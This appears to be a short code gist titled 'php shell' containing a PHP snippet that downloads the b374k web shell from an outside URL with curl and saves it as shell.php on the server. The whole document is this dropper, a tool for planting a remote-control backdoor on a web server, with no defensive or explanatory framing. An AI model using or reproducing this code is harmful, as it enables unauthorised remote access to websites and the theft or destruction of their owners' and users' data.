php shell

gistfile1.txt

$source = "http://b374k-shell.googlecode.com/files/b374k-2.8.php"; 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $source);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSLVERSION,3);
$data = curl_exec ($ch);
$error = curl_error($ch); 
curl_close ($ch);

$destination = "./shell.php";
$file = fopen($destination, "w+");
fputs($file, $data);
fclose($file);